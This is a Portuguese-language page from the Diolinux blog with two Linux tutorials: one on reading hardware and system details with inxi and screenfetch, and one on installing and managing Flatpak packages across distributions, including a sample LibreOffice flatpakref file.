INXI - Um comando simples e completo para obter informações da sua distro Linux

Nenhum comentário

quarta-feira, 14 de fevereiro de 2018

O terminal Linux pode ser muito poderoso e útil para inúmeras coisas, uma delas é obter informações sobre o seu próprio hardware e sistema operacional, existem vários comandos que você pode utilizar para obter informações específicas, assim como existem programas gráficos, como o CPU-X, mas hoje, você vai conhecer uma excelente ferramenta para obter informações de uma forma muito organizada chamada "INXI".

Inxi - Linux Comandos






Saber informações a respeito do nosso computador e sistema operacional pode ser útil em diversas circunstâncias. Há um bom tempo, no início do canal Diolinux, eu fiz um vídeo mostrando como ver informações semelhantes através de alguns softwares gráficos, você pode conferir aqui se quiser:


Você pode usar uma lista imensa de comandos para obter informações, ou usar algum utilitário, que além de ser prático, muitas vezes traz as informações de forma mais clara. Como o Screenfatch por exemplo (comandos para Debian, Ubuntu, Mint, Deepin, elementary OS e derivados):
sudo apt install screenfetch
screenfetch
Linux Mint Screenfetch

Apesar do Screenfetch mostrar as informações de forma organizada (e até mostrar uma "imagem" com o logo da distro) você pode querer um pouco mais e é justamente aí que entra o INXI.

O primeiro passo é instalar a ferramenta, acredito que o "inxi" esteja disponível no repositório padrão de todas as distros mais comuns, então consulte a documentação e o repositório do seu sistema para instalar. Mais uma vez, distros como Debian, Ubuntu, Linux Mint, elementaryOS, Deepin e derivados podem usar este comando:
sudo apt install inxi
Uma vez instalado, você pode rodar o comando:
inxi
 Ele vai te dar uma saída básica, mas rica em informações:

Comando Inxi

Mas é claro que você pode também obter informações de forma ainda mais organizada e precisa usando alguns parâmetros. Um dos meus favoritos é:
inxi -b
Linux Command Inxi -b

Veja como essa saída consegue ser detalhada. Podemos ver o nome do computador, modelo, ID do produto, modelo da placa-mãe, modelo e data da BIOS, resolução da tela, taxa de atualização, processador, memória, drivers de rede, drivers de vídeo, chip gráfico e muitas outras coisas.

Existem muitos outros parâmetros para verificar coisas específicas, se você rodar o comando:
inxi -h
Você consegue ver todos eles:

Linux Inxi Help Command

Dentre toda as opções disponíveis, aqui vão os meus destaques (mas sinta-se à vontade para explorar):

inxi -A (para ver informações das placas de som/áudio do computador);
inxi -C (para ver informações gerais apenas do CPU);
inxi -f (para ver informações básicas do CPU e das flags que ele suporta);
inxi -D (para ver informações completas de armazenamento dos SSDs/HDDs, etc);
inxi -n (para ver informações sobre a placa de rede, incluindo o mac);
inxi -G (para ver informações sobre a placa de vídeo);
inxi -l (para ver informações sobre a tabela de partições).

E estes são apenas alguns exemplos. Preste atenção na "caixa alta" que alguns parâmetros tem, colocá-los em letras maiúsculas e minúsculas faz diferença no resultado. Reforçando, consulte o inxi -h em caso de dúvidas.

ꔷ Quer aprender a dominar o terminal Linux? Conheça o nosso cursos completo!

Uma outra documentação interessante sobre o INXI que você pode consultar está na Manpage do Ubuntu no site da Canonical, confira aqui.

Espero que a dica tenha sido útil para você, até a próxima! :)

_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como instalar e gerenciar pacotes Flatpak nas distribuições Linux

Nenhum comentário

terça-feira, 20 de junho de 2017

Há algum tempo atrás eu fiz aqui no blog duas matérias relacionados ao Snap, uma delas mostrando como você instala o suporte a eles em qualquer distribuição e outra ensinando a utilizar a ferramenta. Hoje é a vez do Flatpak com um combo! 😊 

Como instalar e utilizar os pacotes Flatpak




Tecnologias revolucionárias como o Flatpak e o Snap são ótimas, mas elas carecem da mesma coisa, justamente por conta de serem novidades, que é documentação coloquial. Por mais que existam manuais oficiais, sempre há algo que foge àquele conteúdo. Hoje eu vou te mostrar como fazer a instalação do Flatpak na maior parte das distribuições Linux e te dar as diretrizes básicas de como se utilizam estes pacotes.

Instalando o Flatpak na sua distribuição Linux


Basicamente o pacote é o mesmo em todas as distros, variando de acordo com o sistema e seu gerenciador de pacote, então vamos para a pequena lista em ordem alfabética:

Alpine Linux

O suporte a Flatpak pode ser instalado desta forma:
sudo apk add flatpak

Arch Linux (Manjaro/Antergos)

O suporte a Flatpak está disponível diretamente dos repositórios oficiais, e também existe a versão do AUR. Você pode instalar desta forma:
sudo pacman -S flatpak
No Arch, para ter as ferramentas de desenvolvimento (Flatpak-Builder) funcionando corretamente é necessário instalar algumas dependências extras, mas isso só serve para você que for desenvolver os pacotes, usuários comuns poderão usar apenas o comando acima.
sudo pacman -S --asdeps --needed elfutils patch
Debian

Com o lançamento da versão 9 do Debian que tivemos na semana passada, o suporte a Flatpak pode ser instalado à partir do repositório oficial também.

su root
(digite sua senha)
apt install flatpak
Para o Debian Jessie será necessário usar o repositório Backports.

Fedora

Do Fedora 23 em diante você habilita o suporte ao Flatpak facilmente com o comando:
sudo dnf install flatpak
Gentoo

Atualmente não existe uma forma oficial de instalar o Flatpak na distribuição, entretanto, existe um método não oficial que pode ser encontrado aqui.

Mageia


Instalar no Mageia é simples também, inclusive existem duas formas de fazer isso, dependendo do gerenciador de pacotes que você preferir utilizar. Lembre-se de executar os comandos como root, como no Debian:
dnf install flatpak
Quase igual do Fedora, não é? Outra opção é caso você prefira utilizar o urpmi como gestor, neste caso seria (também como root):
urpmi flatpak 
openSUSE

No openSUSE também existem duas formas de fazer a instalação, dependendo de qual versão do "Rei lagarto" você use. Se você usa a versão Leap ou Tumbleweed, em ambos os casos você pode usar o método 1-click install através do Yast, ou caso use a versão Tumbleweed em específico, você pode instalar via Zypper também:
sudo zypper install flatpak
Ubuntu (Linux Mint/elementary OS) 


No Ubuntu varia de acordo com a versão, caso você esteja usando a versão 17.10 ou superior, o flatpak já está no repositório e você pode instalar com um simples "sudo apt install flatpak", no entanto, para quem usa o Ubuntu 16.04 LTS ou 17.04 é necessário usar o PPA oficial, o mesmo vale para Linux Mint e elementary OS (ambos baseados na LTS) e as outras derivações oficiais do Ubuntu (Kubuntu, Xubuntu, Ubuntu MATE, etc) respeitando o seu versionamento.
sudo add-apt-repository ppa:alexlarsson/flatpak
sudo apt update
sudo apt install flatpak
Isso cobre a maior parte das distribuições, agora vamos aprender a utilizar o Flatpak.

Como usar os pacotes Flatpak 


Vamos fazer agora do gerenciamento de pacotes Flatpak básico para você poder atualizar as aplicações, instalar e remover e fazer consultas sobre informações.
Quer aprender a fazer isso com o apt? Confira este artigo.
Acho que em primeiro lugar é bom que você saiba que pode consultar toda a documentação sobre o Flatpak disponível atualmente aqui,  no site você encontra informações sobre a estrutura dos pacotes, como criá-los, como criar repositórios, etc.

A grande questão que deixa um pouquinho mais complicado o Flatpak em relação ao Snap atualmente é que você precisa adicionar um repositório específico para cada programa em muitos casos, então é importante que o desenvolvedor te informe isso, você pode ver alguns exemplos nesta página na aba "Command Line".

Os pacotes Flatpak possuem os chamados flatpakref, que como o nome sugere, são pacotes quem contém referências para o download das aplicações e servem de intermediário, futuramente esses pacotes serão gerenciados diretamente com as centrais de aplicativos, como o GNOME Software, permitindo que os pacotes sejam instalados com dois cliques como qualquer deb ou rpm (assim como os Snaps), porém, atualmente, ao menos eu meus testes este recurso ainda não está funcional. Quando a integração estiver perfeita, a necessidade da adição manual dos repositórios poderá ser contornada.

O conteúdo de um flatpakref é basicamente este abaixo (LibreOffice), composto do nome do pacote, informações do repositório, como a URL do mesmo, qual é a versão de lançamento dele, chave GPG e link para o Runtime do Flatpak, etc.

[Flatpak Ref] Title=The Document Foundation LibreOffice Name=org.libreoffice.LibreOffice Branch=fresh Url=http://download.documentfoundation.org/libreoffice/flatpak/repository IsRuntime=False GPGKey=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 RuntimeRepo=https://sdk.gnome.org/gnome.flatpakrepo


Tirando a questão dos repositórios que podem variar de acordo a aplicação, o manuseio é simples de se fazer:

flatpak install nome_do_app - Instala uma aplicação ou um Runtime, por exemplo, flatpak install spotify.

flatpak update - Atualização uma aplicação ou Runtime, pode ser usado para uma aplicação específica também ou para um conjunto, como flatpak update skype.

flatpak uninstall - Como é de se supor, esta opção serve para remover um pacote ou Runtime, por exemplo, flatpak uninstall libreoffice.

Para saber o nome dos pacotes Flatpak que você tem instalado, você vai querer usar o:

flatpak list

Vamos agora para algumas opções um pouco mais avançadas:

flatpak info nome_do_app - Mostra informações sobre a aplicação.

flatpak run nome_do_app - Roda o App com o nome indicado

flatpak override - Este parâmetro serve para sobrescrever os requerimentos da aplicação.

flatpak make-current - Produz uma versão específica do app indicado (develop)

flatpak enter - Entra em uma aplicação

flatpak document-export - Exporta um arquivo para o modo Sandbox

flatpak document-unexport - Para a exportação iniciada com o comando anterior

flatpak docuiment-info - Mostra informações sobre os Apps exportados

flatpak document-list - Lista os arquivos/Apps exportados

flatpak remotes - Lista os repositórios remotos habilitados

flatpak remote-add nome_do_repositório - Adiciona um repositório Flatpak

flatpak remote-modify - Modifica um repositório remoto

flatpak remote-delete - Deleta um repositório remoto

flatpak remote-ls - Mostra as Runtimes e aplicações disponíveis

Estes são os principais, mas existem outros especialmente voltados para desenvolvedores, vale a pena conferir o link que eu passei anteriormente com a documentação, para quem estiver interessado em desenvolver pacotes Flatpak, o site do projeto explica como você pode baixar o SDK e começar a fazer seus primeiros pacotes neste novo formato.

E claro, outra forma de você conhecer mais e entender os parâmetros de manuseio do Flatpak via linha de comando e usar o bom e velho:
flatpak --help
Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




Blog Diolinux © all rights reserved
made with by templateszoo